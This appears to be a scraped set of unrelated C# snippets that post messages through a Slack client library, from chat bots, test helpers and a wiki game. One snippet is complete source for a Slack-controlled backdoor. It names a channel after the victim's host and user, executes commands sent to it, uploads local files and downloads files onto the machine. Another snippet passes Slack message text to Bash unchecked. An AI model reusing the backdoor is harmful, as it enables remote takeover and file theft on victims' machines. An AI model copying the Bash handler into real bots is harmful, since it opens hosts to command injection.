public static void RenderToUri(Func <string, Task <string> > render) { var clientReady = new ManualResetEventSlim(false); var client = new SlackSocketClient(token); client.Connect ((connected) => clientReady.Set() , () => { }); client.OnMessageReceived += async(message) => { var mentioned = SlackMessage.FindMentionedUsers(message.text); if (!mentioned.Contains(client.MySelf.id) || message.text.Contains("uploaded")) { return; } var eq = Regex.Replace(message.text, "^<@\\S+>", ""); var image = await render(eq); var a = new Attachment() { image_url = image , author_link = "http://www.quicklatex.com" , title = "" , fallback = eq , }; client.PostMessage(r => { }, message.channel, "", client.MySelf.name, attachments: new [] { a }); }; clientReady.Wait(); }
public void Reply(SlackBotCommand command, string response, string botName = null, string iconUrl = IconUrl, string channelID = null) { if (botName == null) { botName = BotName; } if (channelID == null) { channelID = command.Channel.id; } if (command.Channel.name == "the-the-the-the-the-") { int numThes = response.NormalizeSpace().Split(' ').Count(); StringBuilder responseBuilder = new StringBuilder(); for (int i = 0; i < numThes; ++i) { responseBuilder.Append("the "); } response = responseBuilder.ToString(); botName = "TheTheTheTheThe"; } SlackBot.PostMessage((messageReceived) => { }, channelID, response, botName, icon_url: iconUrl); }
public void PostMessage(string channelId, string message, Action callback = null) { client.PostMessage((clr) => { callback?.Invoke(); }, channelId, message); }
static void InitializeSlack() { string botToken = Configuration["Slack:BotToken"]; ManualResetEventSlim clientReady = new ManualResetEventSlim(false); client = new SlackSocketClient(botToken); client.Connect((connected) => { clientReady.Set(); }, () => { }); client.OnMessageReceived += (message) => { Console.WriteLine(message.user + "(" + message.username + "): " + message.text); if (message.text.StartsWith("rpi:")) { string cmd = message.text.RightOf("rpi:").Trim().LeftOf(" "); List <string> options = new List <string>(); while (cmd.StartsWith("--")) { var opt = cmd.LeftOf(" "); options.Add(opt); cmd = message.text.RightOf(opt).Trim().LeftOf(" "); } string data = message.text.RightOf(cmd).Trim(); Console.WriteLine("cmd: " + cmd); Console.WriteLine("data: " + data); string ret = "Error occurred."; try { if (router.TryGetValue(cmd, out Func <string, List <string>, string> fnc)) { ret = fnc(data, options); } else { string cmdline = (cmd + " " + data).Trim(); ret = "```\r\n" + cmdline.Bash() + "```"; } } catch (Exception ex) { ret = ex.Message; } client.PostMessage((mr) => { }, message.channel, ret); } }; clientReady.Wait(); }
private bool SendMessages(ref bool atLeastOneSuccess) { var success = true; var files = SelectFiles(); if (files.Length > 0) { ManualResetEventSlim clientReady = new ManualResetEventSlim(false); SlackSocketClient client = new SlackSocketClient(Token); client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); }, () => { // This is called once the RTM client has connected to the end point }); client.OnMessageReceived += (message) => { // Handle each message as you receive them }; clientReady.Wait(); client.GetUserList((ulr) => { Info("Got users."); }); foreach (FileInf file in files) { try { var xdoc = XDocument.Load(file.Path); foreach (XElement xMessage in xdoc.XPathSelectElements("Messages/Message")) { var username = xMessage.Element("User").Value; var text = xMessage.Element("Text").Value; var user = client.Users.Find(x => x.name.Equals(username)); var dmchannel = client.DirectMessages.Find(x => x.user.Equals(user.id)); client.PostMessage((mr) => Info("Message '" + text + "' sent to " + dmchannel.id + "."), dmchannel.id, text); if (!atLeastOneSuccess) { atLeastOneSuccess = true; } } } catch (ThreadAbortException) { throw; } catch (Exception e) { ErrorFormat("An error occured while sending the messages of the file {0}.", e, file.Path); success = false; } } } return(success); }
//For responding void PostMessage(string channelId, string responseMessage) { try { client.PostMessage((mr) => Console.WriteLine("Sent message on " + channelId + " and said " + responseMessage), channelId, responseMessage, null, null, true, null, false, null, null, true, null); } catch (Exception ex) { HandleExceptions("PostMessage", ex, false); } }
public void RespondToMessage(NewMessage original, string text, bool ephemeral = false, string botName = null, string parse = null, bool linkNames = false, Attachment[] attachments = null, bool unfurl_links = false, string icon_url = null, string icon_emoji = null, bool as_user = false, string thread_ts = null) { if (ephemeral) { try { _socketclient.PostEphemeralMessage(null, original.channel, text, original.user, parse, linkNames, attachments, as_user, thread_ts); return; } catch (Exception e) { } } else { _socketclient.PostMessage(null, original.channel, text, botName, parse, linkNames, attachments, unfurl_links, icon_url, icon_emoji, as_user, thread_ts); } }
private string PostedMessage(SlackSocketClient client) { string messageId = null; using (var sync = new InSync(nameof(SlackClient.PostMessage))) { client.PostMessage( response => { messageId = response.ts; Assert.True(response.ok, "Error while posting message to channel. "); sync.Proceed(); }, this.fixture.Config.TestChannel, "Hi there!", as_user: true); } return(messageId); }
/// <summary> /// Send slack message /// </summary> /// <param name="channelName"></param> /// <param name="message"></param> public void SendSlackMessage(string channelName, string message) { try { SlackSocketClient.GetChannelList((clr) => { Console.WriteLine("got channels"); }); var channels = SlackSocketClient.Channels; var slackChannel = SlackSocketClient.Channels.Find(x => x.name.Equals(channelName)); if (slackChannel == null) { Console.WriteLine("Channel does not exist"); return; } SlackSocketClient.PostMessage((mr) => Console.WriteLine(message), slackChannel.id, message); } catch (Exception exception) { Console.WriteLine(exception); } }
static void Main(string[] args) { // Legacy token is required for websocket client // https://api.slack.com/custom-integrations/legacy-tokens string accessTokenLegacy = "[Your Legacy Token]"; _socketClient = new SlackSocketClient(accessTokenLegacy); _socketClient.OnMessageReceived += _socketClient_OnMessageReceived; ManualResetEventSlim clientReady = new ManualResetEventSlim(false); _socketClient.Connect((connected) => { Console.WriteLine("Connected."); clientReady.Set(); }); clientReady.Wait(); // wait for connection Console.WriteLine("Type some message. Enter to exit."); while (true) { string text = Console.ReadLine(); if (text.Trim() == "") { break; } string channelName = "bot"; string name = "Socket Client"; _socketClient.PostMessage(new Action <PostMessageResponse>(p => { Console.WriteLine(p.message.text); }), channelName, text, name); } }
public void sendChannelMessage(string message, string channelName = "general") { Channel channel = getChannel(channelName); _Client.PostMessage(null, channel.id, message); }
public async Task Connect() { Console.WriteLine("Initializing Client"); string token = Environment.GetEnvironmentVariable("WIKI_BOT_USER_OATH_TOKEN"); if (string.IsNullOrWhiteSpace(token)) { throw new ArgumentNullException(); } _client = new SlackSocketClient(token); MessageProcessor processor = new MessageProcessor(_gameReaderWriter); Console.WriteLine("RTM Client Connecting..."); ManualResetEventSlim clientReady = new ManualResetEventSlim(false); _gameReaderWriter.TestDatabaseConnection(); _client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); }, () => { // This is called once the RTM client has connected to the end point }); _client.OnMessageReceived += async(message) => { // Ignore Bots if (message.user != null) { // Overwrite username with poster's real name User poster = new User(); _client.UserLookup.TryGetValue(message.user, out poster); Console.WriteLine(poster.real_name); message.username = poster.real_name; var res = await processor.ProcessMessage(message); if (res != null) { var chan = _client.Channels.Find(x => x.name.Equals("wiki-game-test-chan")); if (res.ThreadTs.HasValue) { var thread_ts = res.ThreadTs.Value.ToProperTimeStamp(); _client.PostMessage(x => Console.WriteLine(res), chan.id, res.MessageText, thread_ts: thread_ts); } else { _client.PostMessage(x => Console.WriteLine(res), chan.id, res.MessageText); } } } }; clientReady.Wait(); // Send heartbeat var c = _client.Channels.Find(x => x.name.Equals("wiki-game-test-chan")); _client.PostMessage(x => Console.WriteLine(x.error), c.id, "Hello! Enter in two wikipedia links to get started!\n" + "Afterwards, reply to that post in the formal \"Starting Page -> Click 1 -> Click 2 -> ... -> Ending Page"); // Generate Leadboard var leaderboardString = _leaderBoardGenerator.GenerateLeaderBoardString(); if (string.IsNullOrEmpty(leaderboardString) == false) { _client.PostMessage(x => Console.WriteLine(x.error), c.id, $"{leaderboardString}\nType \"wiki-bot: leaderboard\" to bring back the leader board at any time."); } while (true) { try { await _gameAutomation.RunAutomatedTasksAsync(); } catch (Exception e) { Console.WriteLine(e); } } ; }
public void PostMessage(string channelName, string message) { var channelId = GetChannelId(channelName); _client.PostMessage(null, channelId, message, _botName); }
static void Main(string[] args) { string slack_token = "xoxb-TokenHere"; //CHANGE THIS string oauth_token = "xoxp-TokenHere"; //CHANGE THIS string targetID = ""; //This is to only accept messages sent through the created channel. Otherwise, any message received by the bot is to be executed. ManualResetEventSlim clientReady = new ManualResetEventSlim(false); SlackSocketClient client = new SlackSocketClient(slack_token); SlackSocketClient oauth_client = new SlackSocketClient(oauth_token); client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); }, () => { // This is called once the RTM client has connected to the end point }); client.OnMessageReceived += (message) => { // Handle each message as you receive them if (message.bot_id == null && targetID == message.channel) //Only execute messages sent by users { switch (message.text.ToLower().Split(' ')[0]) { case "exit": //Terminate the shell client.PostMessage(null, message.channel.ToString(), "Channel Terminated!"); Thread.Sleep(20); Environment.Exit(1); break; case "upload": //Upload local files to Slack channel string[] ch = new string[1]; ch[0] = message.channel.ToString(); try { string path = message.text.ToLower().Split(new[] { ' ' }, 2)[1]; client.UploadFile(null, System.IO.File.ReadAllBytes(path), System.IO.Path.GetFileName(path), ch); } catch (Exception e) { client.PostMessage(null, message.channel.ToString(), e.Message); } break; case "download": //Download files to the victim .. download [URL] [NameOfFile/Path] string @remoteUri = message.text.Split(new[] { ' ' }, 3)[1]; string @fileName = message.text.Split(new[] { ' ' }, 3)[2]; using (var down = new System.Net.WebClient()) { try { remoteUri = remoteUri.Replace(">", ""); remoteUri = remoteUri.Replace("<", ""); down.DownloadFile(@remoteUri, @fileName); client.PostMessage(null, message.channel.ToString(), "Downloaded successfully."); } catch (Exception e) { client.PostMessage(null, message.channel.ToString(), e.Message.ToString()); } break; } default: //Execute command if no keywords used string output = Execute(message.text); client.PostMessage(null, message.channel.ToString(), "```" + output + "```"); break; } } }; clientReady.Wait(); string chan_name = (System.Net.Dns.GetHostName() + "_" + Environment.UserName).ToLower(); //Grab Hostname and Username for the channel name client.GetChannelList(null); var general = client.Channels.Find(x => x.name.Equals("general")); oauth_client.ChannelsCreate((response) => { //Create channel and assigne the targetID if (response.ok) { client.PostMessage(null, general.id, "[+] Channel " + chan_name + " is created. Have fun :)"); targetID = response.channel.id.ToString(); } else if (response.error == "name_taken") { client.PostMessage(null, general.id, "[*] Channel " + chan_name + " is already exists."); targetID = client.Channels.Find(x => x.name.Equals(chan_name)).id; } else { client.PostMessage(null, general.id, "[-] Channel " + chan_name + " " + response.error.ToString()); } }, chan_name); while (true) { Thread.Sleep(1000); } }
private void SendMessageToChannel(string channelId, MessageItem message) { _client.PostMessage(x => { }, channelId, message.Message, botName: message.From); }
private string PostedMessage(SlackSocketClient client) { string messageId = null; using (var sync = new InSync()) { client.PostMessage( response => { messageId = response.ts; Assert.IsTrue(response.Ok, "Error while posting message to channel. "); sync.Proceed(); }, _config.Slack.TestChannel, "Hi there!", as_user: true); } return messageId; }